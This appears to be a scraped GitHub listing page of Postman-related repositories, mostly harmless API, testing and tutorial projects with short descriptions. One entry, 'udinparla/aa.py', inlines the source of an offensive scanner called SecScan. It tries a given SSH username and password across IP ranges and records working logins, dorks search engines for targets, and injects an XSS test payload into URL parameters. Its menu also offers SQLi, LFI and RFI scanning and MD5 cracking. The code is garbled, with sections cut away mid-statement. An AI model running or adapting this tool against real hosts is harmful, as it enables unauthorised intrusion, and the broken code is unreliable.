sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
teamcasper/dog-match
backend, cost, design, designed, form, format, front end, information, location, match, mongo, test, tested 		Group project for Alchemy's code lab 401. It was designed for potential buyers and sellers to provide dog information such as cost, location, breed, etc. It was built using Node and mongoDB on the backend, and tested with postman and Heroku on the front end. 0 stars 0 watchers 2 forks
jreimao/api-culinary-recipes
design, designed, recipe, rest, restful, user, users, util 		api restful foi desenhada para gerir 'receitas de culinária' e os seus utilizadores | api restful is designed to manage 'culinary recipes' and their users 0 stars 0 watchers 1 forks
Shekhar-Shashank/Complaint-Lodging
android, api blueprint, asyncapi, complaint, data, database, design, designed, dummy, flask, front end, generator, java, json schema, lang, language, oauth, openid, parse, python, rest, restful, server, sql, sqlite, studio, test, testing 		It is an android complaint lodging app in which the front end is designed in android studio using java language. The restful API that the app interacts with is made using python flask. The database used is sqlite. And the language used to parse the data from the server is Json. For testing the requests like get and post we used postman as a dummy request generator. 0 stars 0 watchers 0 forks
awaisbub/Shircle
aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track 		It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. 0 stars 0 watchers 0 forks
karthikeyaJ/MessengerApp
design, designed, document, sample, service, test 		Developed RESTful APIs with JAX-RS. Built a sample Social Media API (JAVA EE) Developed a sample REStful web service, designed the API’s, implemented using Jersey and deployed using Tom cat Server. Made use of Postman Client to build, test and document the API. 0 stars 0 watchers 0 forks
lilitam/stores_rest_api_test
case, cases, design, designed, python, rest, store, stores, test 		Rest API - test cases designed in python and with Postman 0 stars 0 watchers 0 forks
lucasjellema/workshop-api-rest-json-Node-JS
basics, design, designed, implementation, json, rest, workshop 		Two to three day workshop on REST API and JSON, HTTP basics, Node and Server Side JavaScript and the implementation of a self-designed API. Tools used incude Google Chrome, Postman, Visual Studio Code, Apiary.io and Node 0 stars 0 watchers 0 forks
ragizaki/ConsultED
backend, chat, design, designed, future, learn, model, options, software, student, test, tests 		FAQ chatbot designed to help secondary students better learn of their post-secondary options. The model tests the accuracy of responses and incorporates them in the future. Postman software was used, and called the Genesys API to create the backend of the chatbot. 0 stars 0 watchers 0 forks
zyzz19951230/RequestSimulator
design, designed, development, program, python, server, simulate, simulates, test, tests 		A python program that simulates request to a server and handle its response just like Postman, it‘s designed to run tests for web developments. 0 stars 0 watchers 0 forks

applications (14 listings) (Back to Top)

CiscoDevNet/opendaylight-sample-apps
application, applications, apps, http, https, light, sample 		Sample applications for use with OpenDaylight (https://www.opendaylight.org/) 0 stars 0 watchers 36 forks
Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
flyworker/python-automation-testing
application, applications, automat, automate, automated, automation, python, river, software, test, testing, web app 		Learn about automated software testing with Python, Selenium WebDriver, and API, Postman, focusing on web applications. 0 stars 0 watchers 12 forks
narkhedegs/Restler
application, applications 		Rest Request Collection Runner for applications like DevHttpClient and Postman. 3 stars 3 watchers 0 forks
jorgecotillo/aspnet_core_identity_server_4_postman
application, applications, aspnet, config, configuration, demonstrate, entity, server, test 		Sample applications that demonstrates the configuration of your WebApi and IdentityServer4 to test your API from Postman 0 stars 0 watchers 6 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
JeromeLefebvre/PI-Web-API-Introduction-to-PI-Web-API-using-Postman
application, applications, course, modern 		The PI World 2018 TechCon Learn how to use PI Web API to build modern applications course 1 stars 1 watchers 1 forks
ivangfr/springboot-testing-mysql
api blueprint, application, applications, asyncapi, boot, data, database, goal, goals, json schema, mysql, notation, oauth, openid, service, spring, springboot, sql, test, testing, user, users, util, utilities 		The goals of this project are: 1) Create a simple Spring Boot REST API to manage users called user-service. The database used is MySQL; 2) Explore the utilities and annotations that Spring Boot provides when testing applications. 3) Testing with Postman and Newman 1 stars 1 watchers 0 forks
BackstageBones/BDD-testing
application, applications, automat, automate, automated, river, software, test, testing, web app 		Learn about automated software testing with Python, BDD, Selenium WebDriver, and Postman, focusing on web applications 0 stars 0 watchers 0 forks
HuGomez/automated-swtesting-withpy
application, applications, automat, automate, automated, river, software, test, testing, web app 		Learning about automated software testing with Python, BDD, Selenium WebDriver, and Postman, focusing on web applications 0 stars 0 watchers 0 forks
theuggla/javascript-at
application, applications, client, concept, java, javascript, program, ranging, script, server, servers, standalone, test, testing 		ranging from small programs to full applications testing out javascript concepts, both as standalone applications, servers and client applications 0 stars 0 watchers 0 forks
bera5186/task-manager-API
application, applications, auth, authentication, manager, task 		A complete REST API for To-Do applications with JWT based authentication and MongoDB 🔥⚡ 0 stars 0 watchers 0 forks
isocracy272/apic
application, applications, modification 		Creation and modification of applications in Cisco APIC using JSON/Postman. 0 stars 0 watchers 0 forks
yogibaba2/ExecutorAPI
application, applications, efficient, express, framework, selenium, server, web app 		An express server to expose selenium and postman framework to web applications for easy and efficient use 0 stars 0 watchers 0 forks

sandbox (14 listings) (Back to Top)

postmanlabs/postman-sandbox
sandbox 		Sandbox for Postman Scripts to run in NodeJS or Chrome 30 stars 30 watchers 21 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-CSharp
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-PHP
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Java
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 3 forks
DigitalRiver/api-sandbox
collection, sandbox 		Postman collection for the Digital River API. 1 stars 1 watchers 0 forks
nuxeo-sandbox/nuxeo-swagger
convert, description, form, format, import, importable, nuxeo, portable, sandbox, script, swagger, tool, tools, type, types 		Tools to convert the Nuxeo Swagger 1.2 descriptions to an importable format for Postman and other types of tools. 1 stars 1 watchers 0 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Ruby
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 0 forks
MichaelKovich/testing-sandbox
sandbox, test, testing 		Testing with Cypress, Chai, and Postman. 0 stars 0 watchers 0 forks
GProSoftware828/Postman_collection_sandbox
collection, sandbox, task 		Make a Trello.com task management board using these API calls from Postman- all ready to go! 0 stars 0 watchers 0 forks
murl1n/tm_sand
sandbox, test 		SOAPUI and POSTMAN test ideas based on ebay sandbox 0 stars 0 watchers 0 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Python
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 0 forks
ramakanthrao/node-post
node, sandbox, script 		node js script for postman sandbox api 0 stars 0 watchers 0 forks
SevereCloud/vk-api-sandbox
sandbox 		VK API Sandbox. Files for Insomnia, Postman and more... 0 stars 0 watchers 0 forks
yinchanted/gpi-prevalidation-internet-postman
calling, collection, intern, postman collection, sandbox, validation 		The postman collection for calling the gpi Pre-Validation sandbox API over the internet. 0 stars 0 watchers 0 forks

free (14 listings) (Back to Top)

liyasthomas/postwoman
alternative, builder, free, http, https, native, postwoman 		👽 A free, fast and beautiful API request builder (web alternative to Postman) https://postwoman.io 18028 stars 18028 watchers 1105 forks
stategen/stategen
flutter, free, freemarker, github, http, https, java, mock, provider, react, script, spring, stat, type, types, typescript 		通用springMvc/springBoot分布式非强迫性全栈架构(java服务端，H5、iOS、andriod前端)，内含大名鼎鼎的支付宝dalgen之freemarker开源实现之商用升级版dalgenX，是唯一支持迭代开发的全栈代码生成器，大量前、后端代码通过生成器生成，其中后端任意api直接生成前端网络调用、状态化、交互等相关代码，把前后端分离开发"拉"回来，目前前端已支持react(dva+umi+typescript)和flutter(provider),后续加入kotlin、swf。免去前端文档、调试、postman、mockjs...繁琐。开发中迭代生成，不改变原开发流程、生成80%代码,兼容后20%你自己的代码，拒绝挖坑！ https://github.com/stategen/stategen 44 stars 44 watchers 10 forks
aWhereAPI/API-Postman-Collections
application, coding, collection, collections, form, free, play, playing 		Use these Postman collections to start playing with the aWhere API Platform without coding. Requires the free Chrome application, Postman, from getpostman.com 0 stars 0 watchers 8 forks
udinparla/aa.py
address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user 		#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() 4 stars 4 watchers 0 forks
empeje/midtrans-iris-collections
collection, collections, fork, free, iris, maintained, official 		[Unofficial] Postman Collections for Midtrans' Iris Disbursement Service | Not maintained anymore, feel free to fork! 1 stars 1 watchers 1 forks
adineshreddy1/SupplyChainManagementIntoBlockchain
blockchain, chai, details, developer, developers, free, front end, location, require, stat, status, system, track, tracking 		A blockchain based system which records the temperature,location and other paramaters of a shipment/consignment during shipment. Depending upon our requirements for tracking the consignment , we can keep those details into blockchain such as location,status, time,temperature and others. Looking forward for the contribution from front end developers. Please feel free to ping me. 1 stars 1 watchers 0 forks
zengxiaoqi/sooket-tools
boot, free, http, spring, springboot, tool, tools 		socket-tool 类似于soket-tool和postman的tcp和http连接工具，前端基于vue，后端基于springboot， 在线体验地址： http://mastertools.free.idcfengye.com 1 stars 1 watchers 0 forks
stevenpersia/paperboy-alpha-releases
clone, free, host, hosted, release, self hosted, solution 		Paperboy is a free self hosted solution for your management request API. Postman clone. 1 stars 1 watchers 0 forks
aWhereAPI/V1-API-Postman-Collections
application, free, version 		These Postman Collections are for the old version of aWhere's APIs. Please use the API Postman Collections repository. Requires the free Chrome application, Postman, from getpostman.com 0 stars 0 watchers 1 forks
afreendin/DockerFlaskPythonMySQLPycharm
assignment, free, home, homework, learn, setup 		This project is a homework assignment to learn how to get Pycharm setup with Docker, Flask, MySQL, and Postman. 0 stars 0 watchers 0 forks
fac/postman-freeagent-api-collection
agent, collection, free, freeagent 		A Postman Collection for the FreeAgent API 0 stars 0 watchers 0 forks
freeletics/fl-dae-postman
free, source 		This repo contains the source code for the project postman 0 stars 0 watchers 0 forks
mathcoder23/apibuilder
builder, free, freemarker, java 		基于postman和freemarker 生成多语言的js java api接口库 0 stars 0 watchers 0 forks
vandyfree12/node-api
free, node 		using node and postman for CRUD 0 stars 0 watchers 0 forks

sync (14 listings) (Back to Top)

davellanedam/node-express-mongodb-jwt-rest-api-skeleton
angular, async, consume, express, frontend, github, http, https, mongo, mongod, mongodb, node, react, rest, skeleton, starter, sync 		This is a basic API REST skeleton written on JavaScript using async/await. Great for building a starter web API for your front-end (Android, iOS, Vue, react, angular, or anything that can consume an API). Demo of frontend in VueJS here: https://github.com/davellanedam/vue-skeleton-mvp 0 stars 0 watchers 119 forks
rgamba/postman
async, communication, microservice, proxy, service, sync 		Reverse proxy for async microservice communication 29 stars 29 watchers 1 forks
Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
RathaKM/url-imagecount-service
image, images, implementation, service, sync, threaded 		Multithreaded & Asynchronous Spring Boot and Java 8 based REST implementation for counting the images in the given Urls 4 stars 4 watchers 1 forks
mudiarto/django-postman
bitbucket, bucket, clone, django, sync 		clone of django-postman. master will be kept in sync with bitbucket, my changes will be in develop 0 stars 0 watchers 3 forks
BlackGoblin/NetworkRequestor
async, library, network, send, sync 		a simple network requester. something like Postman. the purpose of this reposetory is to create a async library for sending requests. 0 stars 0 watchers 1 forks
